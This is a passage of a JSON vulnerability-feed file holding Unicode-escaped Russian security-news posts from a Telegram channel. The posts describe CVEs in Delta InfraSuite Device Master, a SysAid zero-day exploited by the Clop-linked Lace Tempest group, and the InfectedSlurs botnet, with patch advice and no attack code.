\u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043f\u0440\u043e\u0434\u0443\u043a\u0442 Delta \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c InfraSuite Device Master \u0432\u0435\u0440\u0441\u0438\u0438 1.0.7 \u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0435. \u041e \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0441\u0442\u0430\u043b\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u0432 \u043a\u043e\u043d\u0446\u0435 \u043d\u043e\u044f\u0431\u0440\u044f, \u043a\u043e\u0433\u0434\u0430 \u0430\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u043e CISA \u0438 \u0438\u043d\u0438\u0446\u0438\u0430\u0442\u0438\u0432\u0430 Zero Day Initiative (ZDI) \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f. Delta Electronics \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0441\u0432\u043e\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0435 \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 1.0.10 \u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0435\u0439.\n\nInfraSuite Device Master \u2013 \u044d\u0442\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433\u0430 \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043e\u0439 \u0446\u0435\u043d\u0442\u0440\u043e\u0432 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u0430\u043d\u043d\u044b\u0445, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0435 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u043c \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043f\u0438\u0442\u0430\u043d\u0438\u044f \u0438 \u043e\u0445\u043b\u0430\u0436\u0434\u0435\u043d\u0438\u044f, \u0434\u0430\u0442\u0447\u0438\u043a\u0438 \u0437\u0434\u0430\u043d\u0438\u0439, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f (Industrial Control System, ICS), \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u0443\u0435\u043c\u044b\u0435 \u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u044b (Programmable Logic Controller, PLC, \u041f\u041b\u041a) \u0438 \u0441\u0447\u0451\u0442\u0447\u0438\u043a\u0438 \u044d\u043d\u0435\u0440\u0433\u0438\u0438.\n\n\u0411\u044b\u043b\u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e \u0447\u0435\u0442\u044b\u0440\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0434\u0432\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u043e\u0446\u0435\u043d\u043a\u0443 \u00ab\u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f\u00bb. \u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\n\u041e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441 \u0432\u044b\u0441\u043e\u043a\u0438\u043c \u0443\u0440\u043e\u0432\u043d\u0435\u043c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u043d\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435 \u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043f\u0430\u0440\u043e\u043b\u0435\u0439 \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0432\u0438\u0434\u0435.\n\n\u0412 ZDI \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0438, \u0447\u0442\u043e \u043e\u0434\u043d\u0430 \u0438\u0437 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2023-47207 (CVSS: 9.8), \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0447\u0435\u0440\u0435\u0437 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442, \u0435\u0441\u043b\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430 \u0432 \u0441\u0435\u0442\u0438. \u0423\u0441\u043f\u0435\u0448\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430.\n\n\u0412 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 InfraSuite Device Master \u0438 \u0441\u043a\u0440\u044b\u0442\u0438\u044f \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0432\u0430\u0436\u043d\u044b\u0445 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0439 \u043e\u0442 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430. \u0415\u0441\u043b\u0438 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0434\u0440\u0443\u0433\u0438\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u0434\u043b\u044f \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u0443 OT \u0432\u043d\u0443\u0442\u0440\u0438 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0436\u0435\u0440\u0442\u0432\u044b \u0441 \u0446\u0435\u043b\u044c\u044e \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u0441\u0431\u043e\u0438 \u0438\u043b\u0438 \u0443\u0449\u0435\u0440\u0431, \u043e\u043d \u0442\u0430\u043a\u0436\u0435 \u043c\u043e\u0436\u0435\u0442 \u0432\u0437\u043b\u043e\u043c\u0430\u0442\u044c \u043f\u0440\u043e\u0434\u0443\u043a\u0442 \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433\u0430 Delta, \u0447\u0442\u043e\u0431\u044b \u0441\u043a\u0440\u044b\u0442\u044c \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u0445 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 OT.\n\nZDI \u043f\u0440\u0438\u0432\u0435\u043b\u0430 \u0432 \u043f\u0440\u0438\u043c\u0435\u0440 \u0440\u0435\u0430\u043b\u044c\u043d\u0443\u044e \u0430\u0442\u0430\u043a\u0443 Stuxnet , \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e \u0431\u044b\u043b\u043e \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043e \u0434\u043b\u044f \u043d\u0430\u043d\u0435\u0441\u0435\u043d\u0438\u044f \u0443\u0449\u0435\u0440\u0431\u0430 ICS-\u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u043c \u0441 \u0446\u0435\u043d\u0442\u0440\u0438\u0444\u0443\u0433\u0430\u043c\u0438 \u043d\u0430 \u044f\u0434\u0435\u0440\u043d\u043e\u043c \u043e\u0431\u044a\u0435\u043a\u0442\u0435 \u041d\u0430\u0442\u0430\u043d\u0437 \u0432 \u0418\u0440\u0430\u043d\u0435, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u043f\u044b\u0442\u0430\u044f\u0441\u044c \u0441\u043a\u0440\u044b\u0442\u044c \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u044f\u0446\u0438\u0438 \u0441 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435\u043c \u0446\u0435\u043d\u0442\u0440\u0438\u0444\u0443\u0433.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2023-12-12T09:52:14.000000Z"}, {"uuid": "fc21478a-0830-4c72-a30c-ead3fd248985", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "https://t.me/itsec_news/3644", "content": "\u200b\u26a1\ufe0f0day \u0432 SysAid: \u0443\u0442\u0435\u0447\u043a\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u044b\u0435 \u043f\u043e\u0442\u0435\u0440\u0438\n\n\ud83d\udcac \u041a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0438 SysAid, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u0440\u043e\u043d\u0438\u043a\u0430\u0442\u044c \u043d\u0430 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u044b, \u043f\u043e\u0445\u0438\u0449\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u0438 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443-\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c Clop. SysAid \u2014 \u044d\u0442\u043e \u043a\u043e\u043c\u043f\u043b\u0435\u043a\u0441\u043d\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f IT-\u0443\u0441\u043b\u0443\u0433\u0430\u043c\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0435\u0435 \u0432 \u0441\u0435\u0431\u044f \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439.\n\n\u0420\u0435\u0447\u044c \u0438\u0434\u0451\u0442 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438 CVE-2023-47246 , \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0431\u044b\u043b\u0430 \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u0430 2 \u043d\u043e\u044f\u0431\u0440\u044f \u043f\u0440\u0438 \u0430\u0442\u0430\u043a\u0435 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u044b SysAid \u0438 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430. \u041a\u043e\u043c\u0430\u043d\u0434\u0430 Microsoft Threat Intelligence \u0432\u044b\u044f\u0432\u0438\u043b\u0430 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0438 \u043e\u043f\u043e\u0432\u0435\u0441\u0442\u0438\u043b\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432 SysAid.\n\n\u041f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u0435 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u043b\u043e\u0441\u044c \u0447\u0435\u0440\u0435\u0437 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e WAR-\u0430\u0440\u0445\u0438\u0432\u0430 \u0432 \u043a\u043e\u0440\u043d\u0435\u0432\u043e\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0432\u0435\u0431-\u0441\u043b\u0443\u0436\u0431\u044b Tomcat SysAid. \u042d\u0442\u043e \u043e\u0442\u043a\u0440\u044b\u043b\u043e \u043f\u0443\u0442\u044c \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 \u0438 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e GraceWire \u0432 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b \u0441\u0438\u0441\u0442\u0435\u043c\u044b. \u0422\u0430\u043a\u0436\u0435 \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e ('user.exe') \u043f\u0440\u0435\u0434\u0443\u0441\u043c\u043e\u0442\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Sophos \u043f\u0435\u0440\u0435\u0434 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439.\n\n\u041f\u043e\u0441\u043b\u0435 \u044d\u043a\u0441\u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0443\u0441\u0442\u0440\u0435\u043c\u0438\u043b\u0438\u0441\u044c \u0441\u043a\u0440\u044b\u0442\u044c \u0441\u043b\u0435\u0434\u044b, \u0443\u0434\u0430\u043b\u044f\u044f \u0436\u0443\u0440\u043d\u0430\u043b\u044b \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 PowerShell. \u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0433\u0440\u0443\u043f\u043f\u0430 Lace Tempest (Fin11, TA505), \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u044e\u0442 \u0441 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u043c\u0438 \u0430\u0442\u0430\u043a\u0430\u043c\u0438, \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u043b\u0430 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u0434\u043b\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c Cobalt Strike.\n\n\u0412 \u043e\u0442\u0432\u0435\u0442 \u043d\u0430 \u0443\u0433\u0440\u043e\u0437\u0443 SysAid \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043b\u044f CVE-2023-47246. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 23.3.36 \u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u043d\u043e\u0432\u043e\u0439. \u0414\u043b\u044f \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0438\u0445 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u043e\u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u043c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u0443\u044e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432, \u043e\u0431\u0440\u0430\u0442\u0438\u0432 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u043d\u0435\u043e\u0431\u044b\u0447\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0432 \u043a\u043e\u0440\u043d\u0435\u0432\u043e\u043c \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 Tomcat SysAid, \u043d\u0430\u043b\u0438\u0447\u0438\u0435 WebShell \u0438 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0432 \u0436\u0443\u0440\u043d\u0430\u043b\u0430\u0445 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438. \u0412\u0430\u0436\u043d\u043e \u0442\u0430\u043a\u0436\u0435 \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u0442\u044c \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0436\u0443\u0440\u043d\u0430\u043b\u044b PowerShell \u043d\u0430 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u043c \u0441\u0445\u0435\u043c\u0430\u043c \u0430\u0442\u0430\u043a.\n\n\u041e\u0442\u0447\u0435\u0442 SysAid \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 (Indicator of Compromise, IOC), \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u043e\u043c\u043e\u0447\u044c \u0432 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0438 \u0432\u0442\u043e\u0440\u0436\u0435\u043d\u0438\u0439, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a \u0438\u043c\u0435\u043d\u0430 \u0444\u0430\u0439\u043b\u043e\u0432, \u0445\u0435\u0448\u0438, IP-\u0430\u0434\u0440\u0435\u0441\u0430 \u0438 \u043f\u0443\u0442\u0438 \u043a \u0444\u0430\u0439\u043b\u0430\u043c, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u0434\u043b\u044f \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u044f \u0441\u043b\u0435\u0434\u043e\u0432 \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u044f.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2023-11-10T07:34:00.000000Z"}, {"uuid": "bdc5251a-ceca-4ca3-8122-68b970500f93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47565", "type": "seen", "source": "https://t.me/itsec_news/3861", "content": "\u200b\u26a1\ufe0f\u0417\u0430\u0449\u0438\u0442\u0438\u0442\u0435 \u0441\u0432\u043e\u0438 \u0440\u043e\u0443\u0442\u0435\u0440\u044b \u0438 \u0432\u0438\u0434\u0435\u043e\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b: \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b \u0431\u043e\u0442\u043d\u0435\u0442\u0430 InfectedSlurs \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u043e\u0441\u0432\u0430\u0438\u0432\u0430\u044e\u0442 \u0441\u0442\u0430\u0440\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438\n\n\ud83d\udcac\u0412 \u0434\u0432\u0430\u0434\u0446\u0430\u0442\u044b\u0445 \u0447\u0438\u0441\u043b\u0430\u0445 \u043d\u043e\u044f\u0431\u0440\u044f \u043c\u044b \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u043b\u0438 \u043e \u0431\u043e\u0442\u043d\u0435\u0442\u0435 InfectedSlurs, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 NVR-\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 QNAP VioStor \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 DDoS-\u0430\u0442\u0430\u043a. \u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Akamai, \u0431\u043e\u0442\u043d\u0435\u0442 \u043d\u0430\u0447\u0430\u043b \u0441\u0432\u043e\u044e \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0432 \u043a\u043e\u043d\u0446\u0435 2022 \u0433\u043e\u0434\u0430.\n\n\u0418\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Akamai 